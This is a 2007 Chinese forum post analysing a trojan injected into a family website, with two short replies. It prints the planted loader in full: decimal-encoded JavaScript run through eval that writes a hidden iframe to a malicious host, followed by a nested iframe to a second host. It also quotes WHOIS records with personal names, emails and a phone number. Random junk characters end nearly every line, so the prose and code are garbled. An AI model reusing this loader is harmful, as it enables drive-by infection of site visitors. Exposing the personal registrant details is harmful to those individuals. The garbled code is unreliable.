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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, !Pvf;rNI1T  
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http://www.areway.cn/?p=175 rU:`*b<  
8W(*~}ydYY  
Vb;*m5,?:  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: t9`.bx8  
          #Y`~(K47  
<script>t=’60,105,102,114,97,109,101, ? (Oy\  
32,115,114,99,61,104,116,116,112,58,47,47, n ATuD  
102,114,101,101,46,117,45,117,117,117,46,99, J1|\Q:-7p  
110,47,101,114,114,111,114,46,104,116,109, l/ GGCnO/  
32,119,105,100,116,104,61,49,48,48,32,104, 6vo;!V6  
101,105,103,104,116,61,48,62,60,47,105,102, }OR@~V{Gj  
114,97,109,101,62′; @})|Z}~  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> 6I4\q.^qw  
                                                                                                  ]@c+]{  
<script>t=’60,105,102,114,97,109,101,32,115, ^ogt+6c  
114,99,61,104,116,116,112,58,47,47,102,114, GW@;}m(  
101,101,46,117,45,117,117,117,46,99,110,47, X/!o\yyT  
101,114,114,111,114,46,104,116,109,32,119, [Td4K.c  
105,100,116,104,61,49,48,48,32,104,101,105, `pa!~|p  
103,104,116,61,48,62,60,47,105,102,114,97, {hjhL: pg  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); ~ "H,/m%2o  
document.write(t);</script> {SPq$B_VR  
                                                                                                  Oc#syfO  
<html xmlns=” tjGn|+|k  
http://www.w3.org/1999/xhtml ItVWO:x&v  
“> %6,SKg p  
<head> +F` S>U  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> -H@:*  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> B\=8_z  
<title>首页 - 爱生活家庭网 P>C~ i:4n  
                                                                                                                                                    z"L/G  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 qp }Cqi  
转换字符串后的大概内容是(谁点击后果自付): O2E/jj  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… ~9]hV7y5C  
                                                                                                                                  w~A{(- dx  
查询玉米u-uuu.cn的详细信息: hGe/ ;@%  
Domain Name: u-uuu.cn rig,mv  
ROID: 20070901s10001s64972306-cn o Q2Fjj  
Domain Status: ok `Bp.RXsd*  
Registrant Organization: 王雷 *uf'zQ<9  
Registrant Name: 王雷 8 &LQzwa  
Administrative Email: czlovexs@126.com =pO^7g  
Sponsoring Registrar: 北京万网志成科技有限公司 $E~`\o%Ev  
Name Server:ns.yovole.com m|n%$$S&  
Name Server:ns1.yovole.com X,_2FJv  
Registration Date: 2007-09-01 17:54 cWaSn7p!X  
Expiration Date: 2008-09-01 17:54 I\{ 1u  
最后PING了一下地址 都没有什么…. - >-KCd1b  
                                                                                                H3 ^},.  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. n8 i] z  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> ,, OW  
<script language=”javascript” src=” !8d{q)JZ  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script gMmaK0uhS  
> kk@fL  
这个玉米应该有可能是木马作者的: SCHP L.n  
foafau.info的详细信息: vn!3l1\+J  
Access to INFO WHOIS information is provided to assist persons in 5h-SCB>P  
determining the contents of a domain name registration record in the 2j88<Yh]H  
Afilias registry database. The data in this record is provided by R6Km\N  
Afilias Limited for informational purposes only, and Afilias does not m@2QnA[ 4  
guarantee its accuracy.  This service is intended only for query-based KNvZm;Q6  
access. You agree that you will use this data only for lawful purposes gnOt+W8  
and that, under no circumstances will you use this data to: (a) allow, ^A$Zw+P  
enable, or otherwise support the transmission by e-mail, telephone, or O7m(o:t x3  
facsimile of mass unsolicited, commercial advertising or solicitations mb TEp*H  
to entities other than the data recipient’s own existing customers; or Lv;^My  
(b) enable high volume, automated, electronic processes that send }<v@01  
queries or data to the systems of Registry Operator, a Registrar, or 5y [Oj^  
Afilias except as reasonably necessary to register domain names or iDp)FQ$  
modify existing registrations. All rights reserved. Afilias reserves t7Iv?5]N  
the right to modify these terms at any time. By submitting this query, HZC"nb}r4  
you agree to abide by this policy. v6bGjVK[  
Domain ID:D22418703-LRMS uK"=i8rs4  
Domain Name:FOAFAU.INFO w !-gJmX>  
Created On:20-Nov-2007 16:05:42 UTC ghG**3xr  
Last Updated On:20-Nov-2007 16:05:44 UTC {j?FNOJn  
Expiration Date:20-Nov-2008 16:05:42 UTC {OkV%Q<  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) pYZmz  
Status:CLIENT DELETE PROHIBITED .+3g*Dv{&  
Status:CLIENT RENEW PROHIBITED ?W?c 1>  
Status:CLIENT TRANSFER PROHIBITED df4A RP+  
Status:CLIENT UPDATE PROHIBITED +US!YU  
Status:TRANSFER PROHIBITED :Uzm  
Registrant ID:GODA-040110615 M#4p E_G  
Registrant Name:liu hong 9}!qR|l3nR  
Registrant Organization: !*d I|k  
Registrant Street1:beijing d9f C<Tp  
Registrant Street2: :841qCW  
Registrant Street3: yiXSYD  
Registrant City:beijing S]e|"n~@  
Registrant State/Province: _~l5u8{^6  
Registrant Postal Code:100000 WdH$JTk1  
Registrant Country:CN QC OM_$y  
Registrant Phone:+86.860108888777 {tuYs:  
Registrant Phone Ext.: .Ni\\  
Registrant FAX: S"bg9o  
Registrant FAX Ext.: NdA[C|_8}f  
Registrant Email:bbbshiji@163.com ~F|+o}a `  
Admin ID:GODA-240110615 A@!qv#'  
Admin Name:liu hong Ju!]&G8  
Admin Organization: <e=#F-DE  
Admin Street1:beijing #Yj1w  
Admin Street2: bQg:zww  
Admin Street3: Ha0M)0Anv  
Admin City:beijing p J! mw\:  
Admin State/Province: /!yU !`bY  
Admin Postal Code:100000 h,u, ^ r  
Admin Country:CN %op**@4/t\  
Admin Phone:+86.860108888777 Q^9_' t}X  
Admin Phone Ext.: )1J R#  
Admin FAX: n`B:;2X,  
Admin FAX Ext.: Ct<udO  
Admin Email:bbbshiji@163.com _/s$ZCd  
Billing ID:GODA-340110615 *MhRW,=  
Billing Name:liu hong z;,u}u}aI  
Billing Organization: c \J:![x  
Billing Street1:beijing Y1W1=Uc uk  
Billing Street2: qdJ=lhHM}  
Billing Street3: ?4#Li~q  
Billing City:beijing F4-$~ v@  
Billing State/Province: K*vt;L  
Billing Postal Code:100000 In"ZIKaC  
Billing Country:CN .GP T!lDc  
Billing Phone:+86.860108888777 YNyk1cE  
Billing Phone Ext.:  j|DsG,  
Billing FAX: ` xEx^P^7  
Billing FAX Ext.: $kdB |4C  
Billing Email:bbbshiji@163.com g#pr yYz  
Tech ID:GODA-140110615 FBe;1OU  
Tech Name:liu hong 9]([\%)  
Tech Organization: (&Kk7<#`  
Tech Street1:beijing 5FPM`hLT  
Tech Street2: &v/dj@   
Tech Street3: MO]F1E?X  
Tech City:beijing 6RU~"C  
Tech State/Province: #>("CAB02T  
Tech Postal Code:100000 ~|D Ut   
Tech Country:CN iJI }TVep#  
Tech Phone:+86.860108888777 \$~|ZwV{  
Tech Phone Ext.: #1A.?p  
Tech FAX: !OhC/f(GBZ  
Tech FAX Ext.: R6<X%*&%  
Tech Email:bbbshiji@163.com }z'8Bu  
Name Server:NS27.DOMAINCONTROL.COM j;+b0(53  
Name Server:NS28.DOMAINCONTROL.COM 1APe=tJ  
Name Server: aB2F C$z  
Name Server: GE:vp>>}`  
Name Server: 2. NN8PPD"  
Name Server: DZ 3wCLQtK  
Name Server: V# }!-Xj  
Name Server: }1L4 "}L.  
Name Server: ,B*EVN  
Name Server: [: n'k  
Name Server: +5g_KS  
Name Server: xA2YG|RU=b  
Name Server: K-^\" W8  
                                                                                                          htO +z7  
接着下载每个文件里面的代码: Y!aSs3c  
一步一步看.. :%_LpZ  
g{]0sn#  
!]A  
%OL$57Ia  
^&9zw\x;z  
m^!Z_]A![  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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